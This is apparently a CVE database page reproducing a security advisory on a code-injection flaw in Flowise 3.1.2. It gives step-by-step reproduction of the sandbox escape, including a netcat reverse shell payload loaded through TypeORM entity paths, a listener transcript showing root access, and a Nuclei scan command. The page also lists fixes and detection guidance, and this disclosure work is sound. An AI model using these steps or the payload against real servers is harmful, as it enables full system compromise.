CVE-2026-69251 — flowise
CVE-2026-69251 is a Code Injection vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.
Flowise RCE via TypeORM DataSource
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-69251.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
flowisenpmflowise-componentsnpmDescription
============================================================================= Security Advisory elttam
Topic: Flowise RCE via TypeORM DataSource
Module: FlowiseAI/Flowise
Disclosed: 15-Apr-2026
Credits: Alex Brown
Affects: FlowiseAI/Flowise 3.1.2
I. Background
Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.
Flowise allows users to connect to remote databases within a flow, which is performed using the TypeORM DataSource.
II. Problem Description
The following nodes allowed users to set arbitrary options for the TypeORM DataSource class using the additionalConfig node input:
- packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts
- packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts
- packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts
- packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts
- packages/components/nodes/memory/AgentMemory/AgentMemory.ts
This is considered a dangerous coding practice, because the options for the TypeORM DataSource class support loading local files as JavaScript code.
The following documents the steps to reproduce this RCE vulnerability by abusing the additionalConfig input on a MySQL Record Manager (packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts) node:
- Log into a Flowise instance and note the organisation ID in the response from
POST /api/v1/auth/login, as shown below.
HTTP/1.1 200 OK
Set-Cookie: token=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: refreshToken=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: connect.sid=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 671
ETag: W/"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE"
Date: Wed, 15 Apr 2026 10:58:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{
"activeOrganizationCustomerId": null,
"activeOrganizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
"activeOrganizationProductId": "",
"activeOrganizationSubscriptionId": null,
"activeWorkspace": "Default Workspace",
"activeWorkspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e",
"assignedWorkspaces": [
{
"id": "3206d8d3-944f-48c6-9332-11e2752b793e",
"name": "Default Workspace",
"organizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
"role": "owner"
}
],
"email": "[email protected]",
"features": {},
"id": "b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab",
"isOrganizationAdmin": true,
"isSSO": false,
"name": "Admin",
"permissions": [
"organization",
"workspace"
],
"roleId": "b1d1a990-b908-1f7f-889b-5603cb093ff1"
}
<1> The organisation ID that is required for a later step.
- Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the
vm2sandbox. The following script is a reverse shell payload that connects to172.17.0.1:1337that had a filename ofrce.js.
process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')
- Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the
POST /api/v1/document-store/loader/process/{loader_id}endpoint and retrieve thestoreId, as demonstrated in the response below.
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 1000
ETag: W/"3e8-7uqpJlOmso3F99EQLpeEzY2xh/o"
Date: Wed, 15 Apr 2026 10:59:34 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{
"characters": 94,
"chunks": [
{
"chunkNo": 1,
"docId": "544ff838-bc55-4b28-97a1-c7442710b014",
"id": "7f5f4d41-f684-4b16-9b3c-c1623678e7a0",
"metadata": "{\"source\":\"blob\",\"blobType\":\"\"}",
"pageContent": "process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')",
"storeId": "afb065cc-8b53-4ff3-82d3-a19e012a2ecb" <1>
}
],
"count": 1,
"currentPage": 1,
"description": "",
"docId": "544ff838-bc55-4b28-97a1-c7442710b014",
"file": {
"files": [
{
"id": "5becc8f6-713b-4c6b-8ca8-3275791a730c",
"mimePrefix": "application/x-javascript",
"name": "rce.js",
"size": 94,
"status": "NEW",
"uploaded": "2026-04-15T10:59:34.039Z"
}
],
"id": "544ff838-bc55-4b28-97a1-c7442710b014",
"loaderConfig": {
"file": "FILE-STORAGE::[\"rce.js\"]",
"legacyBuild": "",
"metadata": "",
"omitMetadataKeys": "",
"pointerName": "",
"textSplitter": "",
"usage": "perPage"
},
"loaderId": "fileLoader",
"loaderName": "RCE File",
"status": "SYNC",
"totalChars": 94,
"totalChunks": 1
},
"storeName": "RCE POC Store",
"workspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e"
}
<1> The store ID that is required for a later step.
- Import the following Chatflow and configure the "MySQL Record Manager", "OpenAI Embedding" and "Weaviate" nodes.
- Open the "Additional Parameters" window for the "MySQL Record Manager" node replace the placeholder values in the
additionalConfig.entitiessetting. The${HOME}is the home directory of the user running the Flowise server (e.g.,/rooton the published Docker image). The screenshot below shows an example path for the reverse shell payload that was uploaded in the previous steps.
- Start an Upsert operation and observe the reverse shell payload being executed, as demonstrated in the terminal output below.
$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 43421
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
III. Impact
This sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise, resulting in full compromise of the application.
IV. Solution
Do not allow users full control of the options for the TypeORM DataSource class. The following DataSource options are considered dangerous and should not be allowed:
extra: Could be abused to provide dangerous driver options.entities: Could be abused to load arbitrary JavaScript files.subscribers: Could be abused to load arbitrary JavaScript files.migrations: Could be abused to load arbitrary JavaScript files.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.1.3npm install flowise@3.1.3 |
| 📦npm | flowise-components | all versions | 3.1.3npm install flowise-components@3.1.3 |
Affected Products
flowiseflowiseaiDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update flowise to 3.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-69251 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
How to detect CVE-2026-69251
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2026-69251 -u https://target- Template
- Flowise < 3.1.3 - Remote Code Execution
- Severity
- critical
- Impact
- Authenticated users can execute arbitrary code on the server, potentially leading to full system compromise.
- Remediation
- Update to version 3.1.3 or later.
Template by ProjectDiscovery nuclei-templates (1dayexploit), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2026-69251 in your dependencies?
Find it across npm, including transitive dependencies.